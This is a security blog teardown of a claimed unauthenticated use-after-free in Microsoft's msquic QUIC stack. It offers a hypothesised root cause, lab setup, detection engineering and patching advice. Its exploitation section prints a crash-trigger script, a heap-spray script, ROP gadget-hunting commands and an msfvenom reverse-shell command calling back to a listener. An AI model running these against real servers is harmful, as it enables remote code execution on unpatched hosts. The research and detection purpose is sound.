CVE-2026-62815 Teardown: Zero-Auth Use-After-Free in Microsoft QUIC’s msquic Stack, One Malformed UDP Packet to RCE on Every Unpatched Windows Server 2022/2025

A single UDP datagram to port 443, no credentials, no clicks, no phishing lure, and an unpatched Windows Server 2022 box hands you the instruction pointer. That is the shape of CVE-2026-62815, a CVSS 9.8 use-after-free that lives inside msquic, the transport library Microsoft quietly welded into the operating system when HTTP/3 became a first-class citizen. The scary part is not the bug itself. It is where it lives, how many services drag it into the address space without anyone deciding to “turn on QUIC,” and how little of your existing telemetry will ever see the packet that kills the process.

A word on what is actually known here

Let me be straight with you before we go a single sentence further, because the internet is about to fill up with confident teardowns that are mostly fan fiction.

CVE-2026-62815 was disclosed on August 11, 2026, this month’s Patch Tuesday. The MSRC advisory, the NVD record, and the vulnerability feeds all agree on the metadata: CWE-416, CVSS 9.8, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, unauthenticated, no interaction, affecting Windows 11 across 23H2 through 26H1 and Windows Server 2022/2025 including Server Core. Those facts are solid.

What does not exist yet, as of this writing, is a published root-cause analysis, a public proof of concept, or a byte-level breakdown of the vulnerable code path from Microsoft or any credible researcher. The public record is thin to the point of being bare. So everything in this post that touches the specific vulnerable function, the exact struct offset, or the precise race window is inference, built from three things: the co-disclosed CVE-2026-62898 (a closely related msquic use-after-free/info-disclosure fixed in the same batch, whose patch notes leak real detail about reference counting and CXPLAT_POOL lookaside lists), the publicly readable msquic source on GitHub, and the QUIC RFC 9000 stream state machine.

I will label the inference as inference. When I say “the most probable root cause,” I mean exactly that. Treat this as a structured hypothesis you can test in a lab, not gospel. That honesty is the whole point of doing the teardown properly instead of parroting a CVSS score.

What msquic is, and why it is already in your address space

Microsoft QUIC (MsQuic) is Microsoft’s open-source implementation of the QUIC transport protocol, the UDP-based, TLS-1.3-native transport that carries HTTP/3. It is written in C. It ships two ways, and this dual-personality matters enormously for blast radius:

• msquic.dll, the user-mode library, linked by IIS (when HTTP/3 is enabled), by .NET’s Kestrel server, by dotnet.exe hosts, and by any third-party application that calls the Windows QUIC API.
• msquic.sys, the kernel-mode driver, used by components like SMB-over-QUIC.

Both are the same codebase compiled against a cross-platform abstraction layer (the CXPLAT_* prefix you see everywhere in the source). A bug in the shared core is a bug in both worlds. The user-mode instance gets you code execution in the context of a worker process; the kernel-mode instance, if reachable, is a different and far worse conversation.

The reason this CVE is a genuine “oh no” event rather than a routine RCE is deployment. You do not install msquic. Microsoft installed it for you, in the base OS image, starting with Server 2022. IIS with HTTP/3 flips it on. SMB-over-QUIC flips a kernel-mode path on. Internal .NET microservices talking gRPC-over-HTTP/3 flip the user-mode path on inside your east-west traffic, where nobody put a WAF because “it’s internal.” You can have hundreds of Windows hosts with msquic loaded and listening and never have typed the word QUIC into a config file.

The QUIC mechanics that make this bug possible

To understand a use-after-free in a QUIC stack you have to understand two structural choices QUIC made that TCP never did.

First, connections and streams are separate objects with independent lifecycles. A single QUIC connection multiplexes many logical streams. The protocol permits an absurd number of them: up to 2^62 streams total, and because there are four stream types, that is 2^60 streams per type on one connection. Each stream is its own state machine, its own send/receive buffers, its own reference-counted object. The connection owns the streams, but the streams are torn down and freed on their own schedule.

Second, QUIC runs everything asynchronously on worker threads. msquic uses a per-connection worker pool (QUIC_WORKER). Packet processing, loss-recovery timers, send-queue draining, and application callbacks all execute off these workers. Any object that can be touched by two threads or by a callback firing after a teardown began is a use-after-free waiting to be born.

The handle hierarchy msquic exposes to applications maps directly onto these lifecycles:

Every one of these is an opaque HQUIC backed by an internally reference-counted C struct. Cleanup is supposed to be safe because the reference count guards the free. The QUIC_STREAM struct (from the public src/core/stream.h, exact offsets pending verification against the patched binary) carries the fields that matter for this class of bug:

• RefCount, a LONG manipulated with interlocked operations
• Connection, a back-pointer to the owning QUIC_CONNECTION
• SendRequests, a linked list of pending QUIC_SEND_REQUEST objects
• RecvBuffer, a QUIC_RECV_BUFFER holding the reassembly ring
• Flags, a bitfield including STARTED, CLOSED, SHUTDOWN_SEND_COMPLETE, SHUTDOWN_RECV_COMPLETE

Underneath, allocation goes through CXPLAT_POOL lookaside lists, fixed-size free lists backed by HeapAlloc in user mode and ExAllocatePoolWithTag in the kernel. The co-disclosed CVE-2026-62898 patch text tells us something concrete about the failure mode: a buffer could not safely be returned to the CXPLAT_POOL lookaside list until the socket layer confirmed no further retransmission could occur for that packet identifier. That sentence is a neon sign pointing at the whole bug class: retransmission and loss recovery keep references to buffers alive past the point where the higher layer thinks it is done.

CWE-416 in an asynchronous C runtime

A use-after-free is boring to describe and vicious to exploit. You free an object, a dangling pointer to it survives somewhere, and later code dereferences that pointer expecting a live object. In a single-threaded program you have to work to make that happen. In an event-driven C network stack with timers and worker threads, the language is practically volunteering to do it for you.

The classic pattern in this environment looks like this:

// Illustrative of the class, not the actual msquic code path.
void OnConnectionShutdown(QUIC_CONNECTION* Conn) {
    for (QUIC_STREAM* S = Conn->Streams; S; S = S->Next) {
        QuicStreamRelease(S);   // ref hits zero -> returned to CXPLAT_POOL
    }
    // Conn's streams are now dangling as far as any pending timer is concerned.
}

void LossDetectionTimerCallback(QUIC_CONNECTION* Conn) {
    // Fires slightly later on a worker thread. Iterates unacked frames.
    for (QUIC_SENT_PACKET* P = Conn->SentPackets; P; P = P->Next) {
        QUIC_STREAM* S = P->Stream;       // <-- points at freed memory
        QuicStreamOnAckOrLoss(S, P);      // <-- USE AFTER FREE
    }
}

The window is the gap between “ref count dropped to zero and object recycled” and “the last timer or send-completion that still holds a raw pointer actually runs.” Reference counting is supposed to close that window. It fails when a code path holds a raw pointer without holding a ref, or drops its ref before an asynchronous consumer of that pointer has finished. Both are trivially easy to introduce in C and impossible to introduce in a language that enforces ownership. Hold that thought; it is the entire argument in the quiche comparison later.

Root-cause deep dive: the stream/connection teardown race

Here is the model I find most consistent with the evidence. I am flagging it as inference. Do not quote it as confirmed Microsoft reverse-engineering.

The trigger is a malformed or deliberately abrupt QUIC exchange that opens a stream and then tears the connection down before the stream’s state machine has settled and before all packets referencing that stream have exited loss recovery.

1. The attacker sends packets that cause the server to allocate a QUIC_STREAM for a new Stream ID (a STREAM frame with a fresh ID), then immediately drives connection teardown. Teardown can be induced with a CONNECTION_CLOSE frame carrying, say, error 0x0A (INTERNAL_ERROR), or by provoking a protocol-violation response from the server itself. Crucially, connection-level teardown does not require a completed TLS handshake, which is what keeps this pre-authentication.

2. The connection cleanup path fires QUIC_CONNECTION_EVENT_SHUTDOWN_COMPLETE, decrements the connection ref count, and begins releasing the associated stream objects back to their lookaside list.

3. A loss-recovery timer, the retransmit probe for a STREAM frame that was queued but never acknowledged, fires on a worker thread and reaches into QUIC_STREAM.SendRequests or the stream’s RecvBuffer after that object has already been recycled. Dangling read, then dangling write, depending on the path.

4. Because the whole thing can be kicked off by a single crafted datagram, the attack complexity is low. That is exactly what AC:L in the CVSS vector is telling you.

The patch story we can partially read comes from CVE-2026-62898, fixed in msquic 2.5.9: stricter ownership boundaries and memory barriers during stream destruction, and reference-count tracking that now covers the full packet lifecycle across both the primary transmission queue and the connection’s loss-recovery timers. In plain terms, they extended the lifetime guarantee so the object cannot be freed while any timer or send queue still legitimately holds it. If CVE-2026-62815’s fix rhymes with that, and given they shipped together and share the codebase I would bet it does, the root cause is the same family: a lifetime that ended one asynchronous callback too early.

How one UDP packet reaches the vulnerability

The reachability is what turns a memory bug into a headline. Walk the preconditions the CVSS vector encodes and you see there are almost none:

• AV:N (network): reachable across the network.
• AC:L (low complexity): no special timing you cannot brute-force by repeating the exchange.
• PR:N (no privileges): the vulnerable code runs during Initial and early-connection packet processing, before any TLS auth completes.
• UI:N (no user interaction): it is a server-side transport bug. Nobody has to click anything.

QUIC listens on UDP, conventionally 443. Firewalls that were configured in the TCP era frequently pass UDP/443 outright because “that’s HTTPS.” Load balancers pass it through to keep HTTP/3 working. And because QUIC is TLS-1.3-encrypted from the first application byte, most middleboxes cannot inspect it even if they wanted to. Your attacker sends encrypted-looking garbage to an open UDP port and the vulnerable code path chews on the header and framing before any of the security machinery engages.

Attack surface map

The exposure is far broader than “IIS servers on the internet,” and that is the message to carry into your asset review.

The pattern to internalize: you are not defending a product you chose to run. You are defending a library the OS bundles, that multiple unrelated services pull into memory, on UDP, pre-auth. That is the worst combination of properties a memory-safety bug can have.

Building a lab that reproduces it

Everything past this point should happen only on hardware you own, on an isolated network, against a target you built. This is a patched vulnerability, which means studying it is entirely legitimate, and the cleanest way to study it is to compile the vulnerable code yourself rather than attacking a production host.

Clone msquic and pin to the last commit before the 2.5.9 fix. Check the release changelog to identify the exact pre-fix tag (the diff between 2.5.8 and 2.5.9 is your anchor).

git clone https://github.com/microsoft/msquic
cd msquic
git checkout <last-pre-2.5.9-tag>     # confirm against the changelog
mkdir build && cd build
cmake .. -DQUIC_BUILD_TESTS=ON -DQUIC_ENABLE_LOGGING=ON
cmake --build . --config Debug

Build it twice: once with AddressSanitizer disabled so you can watch raw crash behavior, and once with ASAN on so you get a precise, unambiguous UAF report with allocation and free stacks. The bundled quicsample or quicinterop server targets are minimal QUIC servers that accept streams, so you need zero custom server code; the bug is in the library.

Lab topology:

• Target VM: Windows Server 2022 or 2025, host-only network, running the compiled sample server on UDP/4433 (use a high port to avoid the privileged-port dance).
• Attacker VM: Ubuntu 24.04 with Python 3.12, aioquic, and scapy.
• Debugger: WinDbg Preview with Time Travel Debugging. TTD is not optional for UAF work; being able to run execution backward from the crash to the free is the difference between an afternoon and a week.

Confirm the target is live and unpatched:

netstat -ano | findstr ":4433"
(Get-Item "C:\Windows\System32\msquic.dll").VersionInfo   # confirm pre-2.5.9

From crash to primitive

Trigger the fault

The reproduction is an open-stream-then-abruptly-close loop, repeated to widen the race window. aioquic gives you enough control without hand-rolling frames:

# lab_trigger.py  -- reproduction only, against your own target
import asyncio
from aioquic.asyncio import connect
from aioquic.quic.configuration import QuicConfiguration

TARGET, PORT, ITERS = "192.168.56.101", 4433, 50

async def trigger():
    cfg = QuicConfiguration(is_client=True, verify_mode=False)
    cfg.alpn_protocols = ["h3"]
    for i in range(ITERS):
        try:
            async with connect(TARGET, PORT, configuration=cfg) as conn:
                _, writer = await conn.create_stream()
                writer.write(b"A" * 1024)
                # Do NOT drain. Force RST while the send queue is still populated.
                conn._quic.close(error_code=0x0A)
        except Exception as e:
            print(f"[{i}] {e}")
        await asyncio.sleep(0.01)

asyncio.run(trigger())

Under WinDbg TTD, !analyze -v after the crash should show an access violation reading recycled QUIC_STREAM memory, with a stack in a loss-detection or receive-drain routine (something in the neighborhood of msquic!QuicLossDetectionOnPacketSent or a RecvBuffer drain path). !heap -p -a <addr> confirms the chunk was already freed. The exact symbols will depend on your build; match them, do not assume mine.

Understand the object

Pull the public symbols and dump the layout so you know what you are corrupting:

.sympath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
.reload /f msquic.dll
dt msquic!QUIC_STREAM
dt msquic!QUIC_CONNECTION
dt msquic!CXPLAT_POOL

The three offsets that matter: RefCount (what you overwrite to keep a dead object “alive”), Connection (a corruptible back-pointer), and SendRequests (a linked-list head whose Next pointer, if you control it, becomes an arbitrary read/write primitive). Confirm sizeof(QUIC_STREAM); it drives the spray.

Reclaim the freed slot

CXPLAT_POOL lookaside lists are fixed-size free lists, which is a gift to an attacker because it makes reclaim deterministic. Fill the list with stream-sized allocations by opening many streams across many connections, free the target, then land attacker-controlled bytes of exactly sizeof(QUIC_STREAM) into the hole.

# lab_spray.py -- heap grooming via concurrent streams, own target only
import asyncio
from aioquic.asyncio import connect
from aioquic.quic.configuration import QuicConfiguration

TARGET, PORT = "192.168.56.101", 4433
SPRAY_CONNS, SPRAY_STREAMS = 20, 90    # near the server's per-conn stream cap

async def spray_one():
    cfg = QuicConfiguration(is_client=True, verify_mode=False)
    cfg.alpn_protocols = ["h3"]
    async with connect(TARGET, PORT, configuration=cfg) as conn:
        for _ in range(SPRAY_STREAMS):
            _, writer = await conn.create_stream()
            writer.write(b"\x41" * 768)   # tune to sizeof(QUIC_STREAM)
        await asyncio.sleep(2)

asyncio.run(asyncio.gather(*[spray_one() for _ in range(SPRAY_CONNS)]))

Hijack control flow

Once reclaim is reliable, the target is a pointer inside the reclaimed object that the worker thread will dereference and call: the stream’s callback pointer, or a pointer walked from Connection. When the worker fires the stream event for the dangling object, RIP follows your bytes.

This is a Server 2022/2025 target, so assume DEP/NX and ASLR are both on. That means two more pieces:

• A ROP chain to get from “controlled RIP” to “executable code,” built from msquic.dll gadgets:

ROPgadget --binary msquic.dll --rop --nojop > gadgets.txt
# You want at minimum: a stack pivot (xchg rsp, rax ; ret),
# pop rcx ; ret and pop rdx ; ret for the x64 calling convention.

• An information leak to defeat ASLR, and this is where the co-disclosed CVE matters. CVE-2026-62898 is an unauthenticated UAF info-disclosure in the same codebase that forces the host to transmit process memory over the network. In a realistic chain, you leak with 62898 to resolve the msquic.dll base, compute your gadget addresses, then fire 62815 for control flow. Two bugs from the same Patch Tuesday, same library, composing into a full unauthenticated RCE. That is not a coincidence; it is what happens when a memory-unsafe component gets serious attention from patch-differs all at once.

The final-stage payload in a lab is whatever you can catch on a listener you control:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.100 LPORT=4444 \
  -f raw -b "\x00" -o shellcode.bin

The honest caveat: the ASLR bypass is the hard 80% of this exercise, and it is deliberately where I stop giving you a turnkey path. The trigger and the crash are easy. Reliable, weaponized, mitigation-defeating exploitation is a research project, which is exactly why it should stay in your isolated lab.

Detection engineering, and the gaps that will hurt you

Here is the uncomfortable truth: most shops will not detect the delivery of this attack with the telemetry they currently collect. Let me show you why.

ETW. msquic logs through ETW under the Microsoft-Quic provider, GUID {ff15e657-4f26-570e-88ab-0796b258d11c}. You can capture it:

netsh.exe trace start overwrite=yes report=dis correlation=dis ^
  traceFile=quic.etl provider={ff15e657-4f26-570e-88ab-0796b258d11c} ^
  level=0x5 keywords=0xffffffff

The catch: this provider is verbose diagnostic instrumentation, designed for debugging, not SIEM ingestion, and virtually no SIEM ingests it by default. That is the primary detection gap. If you want QUIC visibility, you have to deliberately go get it.

Sysmon. This is the one that catches teams flat-footed. Sysmon Event ID 3 (Network Connection) does not log UDP by default. It is TCP-focused. Your entire attack delivery phase rides UDP/443 and produces zero Event ID 3 records. A defender leaning on Sysmon network telemetry is blind to the packet that owns the box. Where Sysmon still helps is post-exploitation:

WFP. Windows Filtering Platform callouts at FWPM_LAYER_DATAGRAM_DATA_V4/V6 can see UDP payloads, but QUIC is encrypted from the first application byte, so a callout only reads the clear QUIC header fields (Connection ID, packet number, packet type). You can catch volumetric anomalies with that, connection floods and rapid stream creation, but you cannot inspect the malformed content that triggers the bug without the TLS secrets. Wireshark faces the identical wall; you need an SSLKEYLOGFILE to decrypt, which you will only have on your own lab client.

PerfMon. The most practical baseline signal. QUIC Performance Diagnostics exposes Connections Active, Streams Active, and Receive Packets Dropped. A spray-driven attack shows a distinctive signature: Streams Active spikes hard while Receive Packets Dropped climbs at the same time. Note the limitation: PerfMon counters reflect only kernel-mode msquic usage, so an all-user-mode IIS/Kestrel attack path may not move these numbers. The ETW-captured counters cover both modes, which is another reason to bother with the ETW pipeline.

Practical post-exploitation Sigma to ship today:

title: QUIC-serving process spawning a shell (possible CVE-2026-62815 post-ex)
logsource: { product: windows, category: process_creation }
detection:
    selection:
        ParentImage|endswith: ['\w3wp.exe', '\iisexpress.exe', '\dotnet.exe']
        Image|endswith: ['\cmd.exe', '\powershell.exe', '\wscript.exe', '\cscript.exe']
    condition: selection
falsepositives: [Legitimate IIS CGI handlers]
level: high
tags: [attack.execution, attack.t1059, cve.2026-62815]

Mapped to ATT&CK, the chain is roughly T1190 (Exploit Public-Facing Application) for delivery, T1203/T0 memory-corruption execution, then T1059 for whatever shell you spawn. Your detections cluster at the post-exploitation end because that is where the telemetry actually exists. Build accordingly, and stop pretending Sysmon Event 3 has you covered on UDP.

Why Microsoft’s implementation is uniquely exposed

Compare this to the QUIC-layer bugs that have hit quiche (Cloudflare’s Rust QUIC library) and Chromium’s QUIC. Those implementations have absolutely had CVEs, but the character of their bugs is different. The memory-corruption category, the raw use-after-free where a dangling pointer becomes an arbitrary read/write, is structurally suppressed in Rust because the borrow checker will not let you compile a function that holds a reference past the owner’s lifetime without an explicit, auditable escape hatch. quiche’s serious issues tend to be logic bugs, resource exhaustion, and DoS, not “we called the callback on freed memory.”

msquic is C. It gets performance and it gets fine-grained control, and it pays for both with the entire CWE-416/CWE-415/CWE-787 family being permanently on the table. Reference counting is a manual discipline there, and manual discipline fails at scale under concurrency. Stack that language choice on top of two things quiche and Chromium do not have to contend with, OS-level bundling (you cannot uninstall it) and a kernel-mode variant (msquic.sys), and you get a genuinely worse exposure profile for the same protocol. Chromium’s QUIC lives in a sandboxed renderer/network-service; msquic lives in w3wp.exe, in dotnet.exe, and in ring 0. Same protocol, wildly different consequences when the memory model slips.

Hardening and patch verification

Patch first, everything else second. The August 2026 cumulative update (KB5121000 for Windows 11 26H1 and the equivalents for each build) ships msquic 2.5.9. Verify, do not assume:

(Get-Item "C:\Windows\System32\msquic.dll").VersionInfo | Format-List
# Confirm the file version corresponds to the patched 2.5.9-based build.

Until every host is patched, and in defense-in-depth afterward:

• Filter UDP/443 at the edge for hosts that do not intentionally serve HTTP/3. If a box does not need QUIC inbound, block it. This kills reachability for the whole class.
• Disable HTTP/3 on IIS instances that do not need it, and disable SMB-over-QUIC where it is not in use to shed the kernel-mode path.
• Stand up the Microsoft-Quic ETW collection deliberately and baseline Streams Active versus Receive Packets Dropped so the spray signature is not invisible.
• Inventory what links msquic.dll using Sysmon Event ID 7. You will find loaders you did not expect. That is the shadow surface.

Key takeaways

• CVE-2026-62815 is real, CVSS 9.8, CWE-416, unauthenticated single-packet RCE over UDP/443 against unpatched Windows 11 and Server 2022/2025. The metadata is confirmed; the internal code path is not yet publicly documented, so treat every root-cause claim (mine included) as a testable hypothesis until Microsoft or a credible researcher publishes the diff.
• The danger is location, not novelty. msquic is bundled in the OS, pulled into memory by IIS, Kestrel, SMB-over-QUIC, and third-party apps, and reachable pre-auth. You are defending a library you never chose to run.
• The bug class is endemic to multiplexed C transports: streams and connections with independent lifecycles, async worker threads and loss-recovery timers holding raw pointers, and manual reference counting that ends a lifetime one callback too early.
• Your existing telemetry probably misses the delivery. Sysmon Event ID 3 ignores UDP, the Microsoft-Quic ETW provider is not ingested by default, and WFP cannot read encrypted QUIC payloads. Detection realistically lives at the post-exploitation stage.
• Rust versus C is not a religious argument here; it is the direct explanation for why quiche and Chromium do not generate this exact bug at this exact severity. Microsoft picked C, bundled it in the OS, and put a copy in the kernel. Patch fast.

Related Tutorials

• Classic Stack Buffer Overflow: Smashing the Stack on Windows
• Understanding the Stack: Frames, Prologue/Epilogue, and Stack Layout

References

• github.com
• msdl.microsoft.com
• CVE-2026-62815 – Microsoft QUIC Remote Code Execution Vulnerability (Official MSRC Advisory)
• CVE-2026-62815 (CVSS 9.8): Microsoft QUIC RCE – No Auth Needed (sanjayseth.com Deep-Dive)
• August 2026 Patch Tuesday: Updates and Analysis – CrowdStrike Blog
• Microsoft Patch Tuesday for August 2026 – Snort Rules and Prominent Vulnerabilities (Cisco Talos Intelligence)
• Microsoft Patch Tuesday August 2026 – SANS Internet Storm Center Diary